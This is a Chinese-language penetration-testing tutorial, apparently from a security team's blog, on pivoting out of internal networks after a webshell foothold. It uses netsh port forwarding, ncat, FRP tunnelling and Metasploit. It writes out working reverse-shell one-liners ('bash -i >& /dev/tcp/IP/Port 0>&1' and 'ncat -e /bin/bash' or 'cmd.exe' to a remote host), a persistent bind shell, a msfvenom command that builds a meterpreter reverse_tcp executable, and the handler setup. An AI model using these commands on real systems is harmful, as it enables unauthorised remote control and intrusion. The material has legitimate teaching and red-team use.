内网系列 内网机器的转发,MSF反弹SHELL的操作

  • A+
所属分类:安全文章

点击蓝字,关注我们




本文作者:北美第一突破手 (团队成员)
本文字数:3000

阅读时长:15min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载


上篇文章我写了信息收集,我想干脆直接写一整套关于渗透的技巧,常规的思路是:信息收集-->漏洞挖掘-->后渗透阶段,因为漏洞挖掘的方向实在太多,我就先把后渗透的讲一讲,考虑到大家都是在初步学习的阶段,所以从内网转发开始讲起

内网的概念

我们在渗透的时候,经过前期的漏洞挖掘得到了一个简单的webshell,那么我们就得到了一台主机的权限,想要扩大我们的成果,就需要进行后渗透,也就是内网的漫游,那么如何让一台内网主机转发出来,我们就可以使用下面的一些穿透工具

常见的内网穿透工具

windows、liunx中的转发工具

  • lcx.exe

    lcx是windos下的转发工具,他的功能有

    • 端口转发(listen‘和slave成对使用)

    • 端口映射(tran)

  • netsh netsh就是networkShell,他是一个windows下的一个网络配置shell

  • porttmap liunx下的代理

  • iptables liunx的代理

netsh的基本使用(需要有admin权限)

  • 使用下面的命令开启端口转发:

netsh interface portproxy add v4tov4 listenaddress=192.168.101.107 listenport=14941 connectaddress=192.168.101.106 connectport=1494

其中listenaddress 是我们监听的地址

listenport 是监听端口

connectaddress 是链接地址

除了这条还可以这么写:

netsh interface portproxy add v4tov4 listenport=14941 connectaddress=192.168.101.106 connectport=1494
  • 使用下面命令进行查看端口

> netsh interface portproxy show v4tov4

内网系列 内网机器的转发,MSF反弹SHELL的操作

  • 取消端口转发

netsh interface portproxy delete v4tov4 listenaddress=192.168.101.107 listenport=14941

内网系列 内网机器的转发,MSF反弹SHELL的操作

与之相对应的就是iptables

常见的内网转发工具

Ncat

nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据,所以我么可以用它作为内网穿透的基本工具,

ncat

这是netcat的比较新的现代版本,不使用原始的netcat代码。ncat的作者是着名的Nmap程序的作者。ncat几乎重复了原始程序的所有功能,并包含其他功能。一般的服务器自带的都是默认的ncat。目前ncat已经集成到了nmap里面,安装完nmap后就可以使用ncat命令了

基本使用

这里我用我的两台服务器进行演示,服务器一般是没有firewall这个服务器的,需要安装一下yum install firewalld ,因为要打开端口,当然也可使用安全组规则进行设置,会比较麻烦。

ncat -l XXX 监听某个端口,在这之前需要把本地的端口打开最好,打开服务器端口的命令为:

查看防火墙状态:firewall-cmd --state

启动防火墙: systemctl start firewalld

关闭防火墙: systemctl stop firewalld

防火墙开机自启动: systemctl enable firewalld.service

打开单个端口:firewall-cmd --zone=public --add-port=80/tcp --permanent

打开多个端口:firewall-cmd --zone=public --add-port=20000-29999/tcp --permanent
--permanent 为永久生效,不加为单次有效(重启失效)

重载端口:firewall-cmd --reload

查看端口打开的列表:firewall-cmd --list-ports

取消某个端口:firewall-cmd --zone=public --remove-port=9200/tcp --permanent

比如我现在打开66端口:

内网系列 内网机器的转发,MSF反弹SHELL的操作

使用ncat -l 进行监听端口:

内网系列 内网机器的转发,MSF反弹SHELL的操作

-v 是输出详细信息,现在使用另外一个服务器连接他:

内网系列 内网机器的转发,MSF反弹SHELL的操作

这样就连接成功了,那么再来试试通信:

内网系列 内网机器的转发,MSF反弹SHELL的操作

到此我们就完成了一次数据的通讯。

命令交互

仅仅是这样还不能看出nc的强大,作为一个转发工具,当然他也能进行命令的交互,我们可以使用下面的命令进行操作:

在被监听的服务器上查看可以使用的bash:cat /etc/shells

内网系列 内网机器的转发,MSF反弹SHELL的操作

前面三个都是默认的bash,但是我喜欢zsh,我就把zsh导出去(虽然没啥意义):ncat -l -e /bin/bash 端口

内网系列 内网机器的转发,MSF反弹SHELL的操作

输入命令就能得到shell,但是这里有个问题是什么呢,当我们客户端断开链接的时候,服务端也会断掉:

内网系列 内网机器的转发,MSF反弹SHELL的操作

所以我们可以使用下面的命令进行持久化,就算客户端断开,服务端任然运行:

ncat -lk -e /bin/bash 端口

-k 是指持久化命令

内网系列 内网机器的转发,MSF反弹SHELL的操作

我连续断开,服务器的服务仍然没有断

上面都是外网的shell,那如何把内网机器的shell弹出去呢?首先在外网的机器监听一下端口,然后内网连接的时候把自己的bahs转发出去就可以了:

ncat -lvk 59 # 服务端监听端口

ncat -v -e /bin/bash IP Port # (liunx下) 客户端连接服务端,把自己的shell发送出去

ncat -v -e cmd.exe IP Port # (win下)客户端连接服务端,把自己的cmd发送出去

win下内网系列 内网机器的转发,MSF反弹SHELL的操作

liunx下内网系列 内网机器的转发,MSF反弹SHELL的操作

输入ifconfig就可以查看到内容,说明客户端的shell转发出去了。

要是自带的mc不能使用-e的参数的话,我们就可以使用下面 的参数就行反弹shell:

ncat -lvk 59 # 服务端监听端口

bash -i >& /dev/tcp/IP/Port 0>&1 # 这条命令和上面的命令是一样的,只是换了个样子

内网系列 内网机器的转发,MSF反弹SHELL的操作

这样就把shell反弹出去了

命令 参数解释
bash -i bash环境生成
>& 将联合符号前面的内容与后面结合然后一起重定向给后者
/dev/tcp/IP/Port 让目标主机与主机IPport端口建立一个连接
0>&1 将标准的输入与标准输出内容相结合,然后重定向给前面的标准输出内容

传输文件

ncat -lvk 59 < hello.txt # 服务器端打开端口,并传输一个hello.txt文件

ncat -v IP port > hello.txt # 客户端连接服务端并且接收hello.txt文件

传输完成以后,不会显示任何东西,并且链接是不会断的:

内网系列 内网机器的转发,MSF反弹SHELL的操作

这就是基本的ncat的使用,接下来我们看看Frp的基本使用:

FRP

Fast Reverse Proxy。FRP 是一个使用 Go 语言开发的高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务。FRP 支持 TCP、UDP、HTTP、HTTPS等协议类型,并且支持 Web 服务根据域名进行路由转发。

所以我们可以使用frp将我们在内网的机器转发出去,基本上和上面 nc的实现原理是一样的,这里我使用frp来把我在内网的kali转发到外网,并且使用我们最常听到的反弹MSF shell 进行操作:

首先下载frp的安装包,GitHub链接

内网系列 内网机器的转发,MSF反弹SHELL的操作

然后上传的我们的服务器上,解压完成后可以看到下面的文件夹:

内网系列 内网机器的转发,MSF反弹SHELL的操作

服务端配置

frp也分为服务端和客户端,在远程的服务器上我们进行服务端的配置,其中的frps.ini是服务端的配置文件,打开基本如下:

内网系列 内网机器的转发,MSF反弹SHELL的操作

[common] # 名字
bind_port = port # frp的服务端和客户端连接的端口
dashboard_port = port # 可视化监控平台的端口,访问这个端口会得到一个网页版的监控
dashboard_user = admin # 网页版的登录账号
dashboard_pwd = admin # 网页版的登录密码

上面配置好了以后我们就可以保存,然后使用./frps -c frps.ini 运行,-c是指运行的配置文件,当然可以不用写,因为默认也会读这个,但是以后多了以后就需要选择不同的配置文件了:

内网系列 内网机器的转发,MSF反弹SHELL的操作

客户端配置

现在我们配置kali,让在内网的kali,也能使用公网的IP进行访问,客户端的配置文件为frpc.ini,打开有如下:

内网系列 内网机器的转发,MSF反弹SHELL的操作

1 [common]
2 server_addr = X.X.X.X # 服务器IP
3 server_port = 55 # 通信端口
4
5 [ssh] # 配置ssh登录
6 type = tcp # 连接方式为TCP的方式
7 local_ip = 127.0.0.1 # 讲本地的IP映射出去
8 local_port = 22 # 本地的端口为22
9 remote_port = 56 # 映射的端口为56
10 use_compression = true
11
12 [msf] # 配置msf的监听
13 type = tcp # 连接方式
14 local_ip = 127.0.0.1 # 本地IP
15 local_port = 1234 # 监听本地的端口为
16 remote_port = 57 # 映射的端口为57
~

我们拿ssh服务来作位模板,首先**[ssh]** 是设置一个名字,方便我们以后修改,type是连接方式,然后local_ip是你要监听的内网主机IP,如果你的内网还有其他的主机,也可以设置成他的IP,这里是使用127.0.0.1,也就是本地的IP;local_port 是指需要转发出去的端口,然后remote_port是服务器的端口,也就是我们22端口映射到56。配置好以后我们开始操作,在内网的kali上运行:./frpc -c frpc.ini

内网系列 内网机器的转发,MSF反弹SHELL的操作

先访问一下frp的web管理页面:

内网系列 内网机器的转发,MSF反弹SHELL的操作

登录:

内网系列 内网机器的转发,MSF反弹SHELL的操作

在这个页面可以观察到流量的情况,然后我们使用外网的IP登录kali:

内网系列 内网机器的转发,MSF反弹SHELL的操作

登录的端口为56,现在我们成功将kali转发到外网了,甚至打开了msf:

内网系列 内网机器的转发,MSF反弹SHELL的操作

msf反弹shell

使用过msf的同学应该知道,我门在使用payload的时候需要配置监听端口,上面我们配置的时候就配置了一个叫MSF的配置文件,监听的端口为本地的1234,转发的端口为57,所以payload的配置如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=外网IP LPORT=外网端口 -f exe > test.exe

生成shell:

内网系列 内网机器的转发,MSF反弹SHELL的操作

打开msf进行配置:

use exploit/multi/handler # 使用use

set PAYLOAD windows/x64/meterpreter/reverse_tcp # 设置payload的配置

set LHOST 127.0.0.1 # 设置监听IP

set LPORT 1234 # 设置监听端口,因为我们转发出去了,所以刚刚刚刚设置的时候,使用的是57端口

内网系列 内网机器的转发,MSF反弹SHELL的操作

然后使用一个服务器用来连接我们的shell:

内网系列 内网机器的转发,MSF反弹SHELL的操作

运行以后得到shell:

内网系列 内网机器的转发,MSF反弹SHELL的操作

可以看出我们已经是system的权限了。

按照上面的方法我们可以把内网的任意一台机器转发到公网上,只要将对应的端口映射到服务器上就可以了,这就是内网转发的一些知识,下篇文章会讲解如何进行内网的信息收集,和CS的操作!


平台邀请码:BE017F6C035BC19F5241A97CC0C10924


扫描关注公众号回复加群,和师傅们一起讨论研究~

扫码关注我们



内网系列 内网机器的转发,MSF反弹SHELL的操作


微信号:wgpsec

Twitter:@wgpsec

内网系列 内网机器的转发,MSF反弹SHELL的操作

分享、在看与点赞,至少我要拥有一个吧


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: